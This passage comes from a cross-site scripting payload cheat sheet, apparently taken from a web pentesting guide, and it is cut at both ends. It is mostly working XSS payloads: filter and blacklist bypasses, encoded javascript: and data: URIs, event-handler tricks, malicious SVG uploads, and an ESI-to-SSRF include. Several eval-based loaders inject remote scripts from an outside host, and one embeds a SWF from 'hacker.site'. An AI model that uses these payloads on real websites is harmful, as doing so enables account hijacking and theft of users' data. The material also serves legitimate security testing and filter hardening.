` * `<script>` * `<textarea>` * `<noscript>` * `<style>` * Magic events - If all events and tags were closed, use personal tags for this purpose: * `onmouseover` * `onclick` * `oncopy` For Example: `<mehdi onmouseover=alert(1)>Hello mehdi0x90</mehdi>` * One of the places that can be used for XSS is the href tag. Even if your input is encoded and you cannot get out of the tag: * `href="javascript:alert(1)"` * If the system does not allow quotes of any kind, you can `eval()` a fromCharCode in JavaScript to create any XSS vector you need: * `<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>` * Since XSS examples that use a javascript: directive inside an `<IMG` tag do not work on Firefox this approach uses decimal HTML character references as a workaround: * `<a href="javascript:alert('XSS')">Click Me!</a>` ----- **xml Content Type** If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS ```javascript <xml> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> </xml>  ``` **Injecting inside raw HTML** ```javascript <script>alert(1)</script> <img src=x onerror=alert(1) /> <svg onload=alert('XSS')> ``` **Blacklist Bypasses** ```javascript //Random capitalization <script> --> <ScrIpT> <img --> <ImG //Double tag, in case just the first match is removed <script><script> <scr<script>ipt> <SCRscriptIPT>alert(1)</SCRscriptIPT> //You can substitude the space to separate attributes for: / /*%00/ /%00*/ %2F %0D %0C %0A %09 //Unexpected parent tags <svg><x><script>alert('1')</x> //Unexpected weird attributes <script x> <script a="1234"> <script ~~~> <script/random>alert(1)</script> <script ///Note the newline >alert(1)</script> <scr\x00ipt>alert(1)</scr\x00ipt> //Not closing tag, ending with " <" or " //" <iframe SRC="javascript:alert('XSS');" < <iframe SRC="javascript:alert('XSS');" // //Extra open <<script>alert("XSS");//<</script> //Just weird an unexpected, use your imagination <</script/script><script> <input type=image src onerror="prompt(1)"> //Using `` instead of parenthesis onerror=alert`1` //Use more than one <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` // ``` **Length bypass (small XSSs)** ```javascript  <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw> ``` **Injecting inside HTML tag** ```javascript " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t //Style events <p style="animation: x;" onanimationstart="alert()">XSS</p> <p style="animation: x;" onanimationend="alert()">XSS</p> #ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked: <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div> #moving your mouse anywhere over the page (0-click-ish): <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div> ``` **Bypass inside event using HTML encoding/URL encode** ```javascript //HTML entities '-alert(1)-' //HTML hex without zeros '-alert(1)-' //HTML hex with zeros '-alert(1)-' //HTML dec without zeros '-alert(1)-' //HTML dec with zeros '-alert(1)-' <a href="javascript:var a=''-alert(1)-''">a</a> <a href="javascript:alert(2)">a</a> <a href="javascript:alert(3)">a</a> //Note that URL encode will also work <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a> //Bypass inside event using Unicode encode //For some reason you can use unicode to encode "alert" but not "(1)" <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /> <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) /> ``` **Special Protocols Within the attribute** There you can use the protocols javascript: or data: in some places to execute arbitrary JS code. Some will require user interaction on some won't. ```javascript javascript:alert(1) JavaSCript:alert(1) javascript:%61%6c%65%72%74%28%31%29 //URL encode javascript:alert(1) javascript:alert(1) javascript:alert(1) javascriptΪlert(1) java //Note the new line script:alert(1) data:text/html,<script>alert(1)</script> DaTa:text/html,<script>alert(1)</script> data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e data:text/html;charset=UTF-8,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== ``` **Places where you can inject these protocols** ```javascript <a href="javascript:alert(1)"> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <form action="javascript:alert(1)"><button>send</button></form> <form id=x></form><button form="x" formaction="javascript:alert(1)">send</button> <object data=javascript:alert(3)> <iframe src=javascript:alert(2)> <embed src=javascript:alert(1)> <object data="data:text/html,<script>alert(5)</script>"> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed> <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed> <iframe src="data:text/html,<script>alert(5)</script>"></iframe> //Special cases <object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf <iframe srcdoc="<svg onload=alert(4);>"> ``` **Other obfuscation tricks** ```javascript <a href="javascript:var a=''-alert(1)-''"> '-alert(1)-' %27-alert(1)-%27 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> //Encoded: <svg onload=alert(1)> // This WORKS <iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /> <iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' /> //Encoded: alert(1) // This doesn't work <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /> <svg onload=javascript:'\141\154\145\162\164\50\61\51' /> ``` **Reverse tab nabbing** If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes ```javascript <a target="_blank" rel="opener" ``` **on Event Handlers Bypass** ```javascript <svg onload%09=alert(1)> //No safari <svg %09onload=alert(1)> <svg %09onload%20=alert(1)> <svg onload%09%20%28%2c%3b=alert(1)> //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` **XSS in "Unexploitable tags" (hidden input, link, canonical, meta)** ```javascript <button popvertarget="x">Click me</button> <input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)> //And in meta tags  <meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />  <button popovertarget="newsletter">Subscribe to newsletter</button> <div popover id="newsletter">Newsletter popup</div> //You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector <input type="hidden" accesskey="X" onclick="alert(1)"> ``` **Inside JS code** If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed ```javascript '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` **Template literals ``** In order to construct strings apart from single and double quotes JS also accepts backticks `` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax. Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... } to execute arbitrary JS code ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``` **Encoded code execution** ```javascript <script>\u0061lert(1)</script> <svg><script>alert('1') <svg><script>alert(1)</script></svg>  "><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>  "><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">  "><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>  "><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">  "><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">  <script>$.getScript("//domain")</script>  "><img src=x id=payload== onerror=eval(atob(this.id))>  "><input onfocus=eval(atob(this.id)) id=payload== autofocus>  <noscript><p title="</noscript><img src=x onerror=alert(1)>">  "><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>  <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> ``` **XSS to SSRF** Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload ```javascript <esi:include src="http://yoursite.com/capture" /> ``` Use it to bypass cookie restrictions, XSS filters and much more! More information about this technique here: https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations **XSS in dynamic created PDF** If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS. https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf If you cannot inject HTML tags it could be worth it to try to inject PDF data: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/pdf-injection **XSS uploading files (svg)** Upload as an image a file like the following one (from : https://ghostlulz.com/xss-svg/) ```javascript Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> alert(1); </script> </svg> -----------------------------232181429808-- ``` ```javascript <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript">alert("XSS")</script> </svg> ``` ```javascript <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("XSS"); </script> </svg> ``` ```javascript <svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <circle cx="50" cy="50" r="45" fill="green" id="foo"/> <foreignObject width="500" height="500"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/> </foreignObject> </svg> ``` ```javascript <svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg> ``` ```javascript <svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" /> ``` ### Polygot It’s a malicious payload meant to cover all places of reflection (DOM, reflected XSS, stored XSS). Here’s an example by @KNOXSS: ```javascript JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<! →